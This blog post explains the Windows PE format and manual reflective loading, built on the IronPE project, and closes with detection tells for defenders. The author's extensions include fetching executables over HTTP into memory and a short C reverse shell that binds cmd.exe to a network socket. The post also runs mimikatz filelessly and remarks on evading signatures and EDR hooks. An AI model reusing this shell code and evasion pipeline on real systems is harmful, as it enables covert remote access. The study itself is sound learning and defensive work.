Manual PE mapping: running an EXE like the Windows loader
Every program you have ever double-clicked was quietly prepared before its first instruction ran: sections unpacked, addresses corrected, libraries connected. I performed that preparation by hand, on top of the open-source IronPE project, and it changed how I read every security alert since.
This is a study of the PE file format, built on IronPE, an excellent open-source manual loader, and extended in my own lab against executables I generated on machines I own. Understanding this format is baseline knowledge for malware analysts, which is exactly why it's taught on page one of every analysis course.
01What the Windows loader does
Launching an EXE feels instant and magical, and it is neither. The file on disk is not a ready-to-run image; it's a blueprint with assumptions baked in. Before a single instruction of your program executes, Windows has read that blueprint and performed a small miracle of bookkeeping: it reserved memory of the right size, copied each chunk of the program to where its code expects to find it, corrected every absolute address that assumed a different location, and connected the program to every system library it needs.
A reflective loader performs the identical ritual with one difference: no new process, no file on disk, no ceremony. A process that is already running takes the bytes of an executable from a socket or an HTTP response, applies the whole ritual to itself, and jumps in. From the outside, the process still looks like whatever it was before. From the inside, it's now running something else entirely.
To follow the story, you need one picture of the file itself. A PE on disk is a stack of headers followed by the actual content, split into sections:
02Reading the blueprint
Every PE begins with the two letters MZ, a courtesy to an operating system from 1985 that
no one has run in decades. The DOS header is almost entirely dead weight except for one
field at offset 0x3C, called e_lfanew, which points to where
the real header begins. From there you find the PE signature, then the file header, then
the optional header, which carries a misleading name, because without it nothing works.
Three fields in the optional header run the entire rest of the story.
AddressOfEntryPoint says where execution begins.
ImageBase says the memory address where this program
prefers to be loaded. And the section table, together with
SizeOfImage, says how much room the finished program needs and
how each piece should be laid out. Keep the idea of the preferred address in mind. It is
about to cause the only genuine debugging nightmare in this project.
03Moving in: sections, disk versus memory
The first practical discovery is that the file's layout on disk and its layout in memory are different on purpose. On disk, everything is packed tightly for download size, aligned to 512-byte chunks. In memory, sections sit page-aligned, 4,096 bytes apart, because that's the granularity the CPU's memory protection works at. Same content, different addresses.
So the loader's first physical act is to reserve one region of memory the size of the finished image, copy the header block to the front, then walk the section table and copy each section from its packed file offset to its roomier virtual offset. After this step you have a faithful, in-memory copy of the executable, properly laid out and completely broken. Not one address inside it points where it should.
04The relocation problem
Compilers write instructions that reference absolute memory addresses. Call the function at this exact location, read the variable at that exact location. Those numbers were baked in when the program was compiled, against the preferred ImageBase. The compiler crossed its fingers and hoped the loader would cooperate.
Windows usually cooperates. My loader rarely did, because memory is shared and whatever the compiler asked for is usually taken. When the actual load address differs from the preferred one, every baked-in address is wrong by the same amount: the difference between the two. That difference is called the delta, and fixing each absolute reference by adding the delta to it is called applying relocations. The file helpfully contains a table of exactly which addresses need the correction, so the work is mechanical. Mechanical, and merciless. My first version missed one entry type, and the loaded program crashed with an access violation at an address that was almost, but not quite, sane. It took embarrassingly long to connect the crash to a single unpatched pointer.
Manual loading is not an operating systems lecture. It is accounting, and the ledger must be perfect.
05Wiring up the imports
The program still cannot call the operating system. An EXE carries no code for
MessageBoxW or VirtualAlloc; it
carries a shopping list. For every function it needs, the import table records the library
that provides it and the function's name. The loader walks that list, loads each library,
asks Windows for each function's real address, and writes those addresses into a table
inside the image called the Import Address Table. When the program later calls an imported
function, it looks the address up in that table and lands in the right DLL.
Two things stuck with me here. First, how trusting the whole arrangement is: the loader fills the table with whatever the name resolves to, and nobody re-verifies anything. Second, the security relevance is obvious once you see it. Whoever controls how that table gets filled sees every imported call the process will ever make. This is precisely why EDR products care so much about hooking import resolution, and why a hand-rolled loader, which fills the table itself, quietly steps around the standard hooking points. Not invisible. Just off the paved road.
06The jump
Sections placed, addresses reconciled, imports wired. The optional header's entry point,
adjusted by the relocation delta, gives one address inside the newly built image. Hand a
new thread that address, and from that instant the loaded program has no idea, and no way
to know, that Windows never loaded it. IronPE's standard demo runs mimikatz this way, in
both 32-bit and 64-bit flavors: a well-known, heavily signatured tool, executing with no
mimikatz.exe ever existing on disk and no new process on the system.
Full disclosure of the shortcuts, because they matter: production loaders also handle TLS callbacks, which run code before the entry point, exception handling registration, delay-loaded imports, and .NET images, which are a different format wearing the same clothes. IronPE handles native PEs and skips the rest. Every shortcut is a crash waiting for the right input, which is fine when you own the input, and fatal when you don't.
07What I added to IronPE
Upstream IronPE reads the PE from a file on disk, which misses the point of reflective loading, so my first extension was remote fetching: give the loader a URL, and it pulls the bytes over HTTP before mapping them. That change collapses the whole pipeline into one process: nothing to scan on disk, nothing to hash, an executable that exists only in the memory of a program that nominally has nothing to do with it.
The second extension replaced framework-provided shells with one I wrote myself in C, partly for the learning and partly because of a pattern the first build log established: public tooling gets flagged for being public, while small custom code is quiet because no one has ever seen it. The entire shell is a socket with cmd.exe attached. Winsock connects, and one flag does the rest:
sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
connect(sock, (SOCKADDR*)&addr, sizeof(addr)); // lab machine
si.dwFlags = STARTF_USESTDHANDLES; // "the child's console is my socket"
si.hStdInput = (HANDLE)sock;
si.hStdOutput = (HANDLE)sock;
si.hStdError = (HANDLE)sock;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
cmd.exe doesn't know it's talking to a network. As far as it can tell, that socket is its
console. Someone on the lab box types whoami, the bytes travel
down the socket, cmd reads them as keyboard input, and the answer travels back. Twenty
lines of C, no framework, no signature on record.
Reflective loading keeps things off disk, but memory keeps honest records. The four tells I'd hunt for:
- Executable memory with no owner. The mapped image lives in private memory, unbacked by any file. Threads whose start address sits there are the cleanest signal this technique produces.
- The alloc, fill, flip pattern. A large read-write commit that gets populated and then shifted toward executable is the same RW to RX shape from the loader post, in a different order.
- Import resolution storms. A sudden burst of LoadLibrary and GetProcAddress calls from a process that just started a thread in strange memory is a chain worth scoring high.
- A console with a network handle. cmd.exe whose stdin and stdout point at a socket instead of a console is visible from handle tables alone. No signatures required, and frameworks get caught by exactly this.
08What it changed for me
The loader post was about beating a scanner, and the RAT post was about profiling an EDR. This one paid a different kind of dividend. Since applying relocations by hand, I read memory forensics output differently, I understand why .NET binaries confuse certain memory scanners, and "process hollowing" alerts stopped being a name I matched and became a ritual I've performed, with steps I can enumerate from memory.
If you want the same experience, the path is short. Read Microsoft's PE specification, then read IronPE's source, which is the cleanest Rust implementation of the idea I've found. Map notepad.exe before you map anything exciting. The loader doesn't care what the bytes do, and neither should your first attempt.
← All build logs